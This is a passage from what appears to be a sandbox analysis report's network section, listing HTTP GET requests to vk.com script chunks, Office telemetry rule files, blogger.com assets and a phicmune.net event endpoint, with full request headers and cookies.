remixsts=%7B%22data%22%3A%5B%5B1728945603%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22video_ext%22%2C%22web%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22video_ext%22%2C%22web%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%2C%5B1728945604%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%5D%2C%22uniqueId%22%3A604582984.5070724%7D
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /dist/web/chunks/defad8f6.8d30344a.js HTTP/1.1Host: st6-20.vk.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw; remixsts=%7B%22data%22%3A%5B%5B1728945603%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22video_ext%22%2C%22web%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22video_ext%22%2C%22web%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%2C%5B1728945604%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%5D%2C%22uniqueId%22%3A604582984.5070724%7D
Source: global traffic	HTTP traffic detected: GET /dist/web/chunks/b2c3c302.9a8c0257.js HTTP/1.1Host: st6-20.vk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://vk.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw
Source: global traffic	HTTP traffic detected: GET /dist/web/videoview.e393719f.js HTTP/1.1Host: st6-20.vk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://vk.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw
Source: global traffic	HTTP traffic detected: GET /dist/web/chunks/7f463667.d224545e.js HTTP/1.1Host: st6-20.vk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://vk.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw
Source: global traffic	HTTP traffic detected: GET /dist/web/ui_common.96ae42ab.js HTTP/1.1Host: st6-20.vk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://vk.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw
Source: global traffic	HTTP traffic detected: GET /dist/web/chunks/bootstrap.15ebed4f.js HTTP/1.1Host: st6-20.vk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://vk.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw
Source: global traffic	HTTP traffic detected: GET /event HTTP/1.1Host: phicmune.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dist/web/videoview.a4eb72e9.js HTTP/1.1Host: st6-20.vk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://vk.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /dist/web/ui_common.07689f19.js HTTP/1.1Host: st6-20.vk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://vk.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw
Source: global traffic	HTTP traffic detected: GET /dist/web/chunks/85a7110a.b38696f0.js HTTP/1.1Host: st6-20.vk.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw; remixsts=%7B%22data%22%3A%5B%5B1728945603%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22video_ext%22%2C%22web%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22video_ext%22%2C%22web%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%2C%5B1728945604%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%5D%2C%22uniqueId%22%3A604582984.5070724%7D
Source: global traffic	HTTP traffic detected: GET /dist/web/chunks/63bd1145.7f0cc649.js HTTP/1.1Host: st6-20.vk.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw; remixsts=%7B%22data%22%3A%5B%5B1728945603%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22video_ext%22%2C%22web%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22video_ext%22%2C%22web%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%2C%5B1728945604%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%5D%2C%22uniqueId%22%3A604582984.5070724%7D
Source: global traffic	HTTP traffic detected: GET /dist/web/chunks/5aea220e.dc3e62a1.js HTTP/1.1Host: st6-20.vk.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw; remixsts=%7B%22data%22%3A%5B%5B1728945603%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22video_ext%22%2C%22web%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22video_ext%22%2C%22web%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%2C%5B1728945604%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%5D%2C%22uniqueId%22%3A604582984.5070724%7D
Source: global traffic	HTTP traffic detected: GET /dist/web/chunks/c85c1923.355d4461.js HTTP/1.1Host: st6-20.vk.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw; remixsts=%7B%22data%22%3A%5B%5B1728945603%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22video_ext%22%2C%22web%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22video_ext%22%2C%22web%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%2C%5B1728945604%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%5D%2C%22uniqueId%22%3A604582984.5070724%7D
Source: global traffic	HTTP traffic detected: GET /dist/web/chunks/7c60942d.b623a141.js HTTP/1.1Host: st6-20.vk.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw; remixsts=%7B%22data%22%3A%5B%5B1728945603%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22video_ext%22%2C%22web%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22video_ext%22%2C%22web%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%2C%5B1728945604%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%5D%2C%22uniqueId%22%3A604582984.5070724%7D
Source: global traffic	HTTP traffic detected: GET /dist/web/chunks/dfd7f843.01660fd3.js HTTP/1.1Host: st6-20.vk.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw; remixsts=%7B%22data%22%3A%5B%5B1728945603%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22video_ext%22%2C%22web%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22video_ext%22%2C%22web%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%2C%5B1728945604%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%5D%2C%22uniqueId%22%3A604582984.5070724%7D
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /event HTTP/1.1Host: phicmune.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dist/web/videoview.e393719f.js HTTP/1.1Host: st6-20.vk.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw; remixsts=%7B%22data%22%3A%5B%5B1728945603%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22video_ext%22%2C%22web%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22video_ext%22%2C%22web%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%2C%5B1728945604%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%5D%2C%22uniqueId%22%3A604582984.5070724%7D
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /static/v1/v-css/13464135-lightbox_bundle_rtl.css HTTP/1.1Host: www.blogger.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.mycimalive.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/v1/jsbin/3701120628-lbx__ar.js HTTP/1.1Host: www.blogger.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.mycimalive.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dist/web/chunks/7f463667.d224545e.js HTTP/1.1Host: st6-20.vk.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw; remixsts=%7B%22data%22%3A%5B%5B1728945603%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22video_ext%22%2C%22web%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22video_ext%22%2C%22web%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%2C%5B1728945604%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%5D%2C%22uniqueId%22%3A604582984.5070724%7D
Source: global traffic	HTTP traffic detected: GET /dist/web/ui_common.96ae42ab.js HTTP/1.1Host: st6-20.vk.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw; remixsts=%7B%22data%22%3A%5B%5B1728945603%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22video_ext%22%2C%22web%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22video_ext%22%2C%22web%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%2C%5B1728945604%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%5D%2C%22uniqueId%22%3A604582984.5070724%7D
Source: global traffic	HTTP traffic detected: GET /dist/web/chunks/bootstrap.15ebed4f.js HTTP/1.1Host: st6-20.vk.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw; remixsts=%7B%22data%22%3A%5B%5B1728945603%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22video_ext%22%2C%22web%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22video_ext%22%2C%22web%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%2C%5B1728945604%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%5D%2C%22uniqueId%22%3A604582984.5070724%7D
Source: global traffic	HTTP traffic detected: GET /dist/web/videoview.a4eb72e9.js HTTP/1.1Host: st6-20.vk.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw; 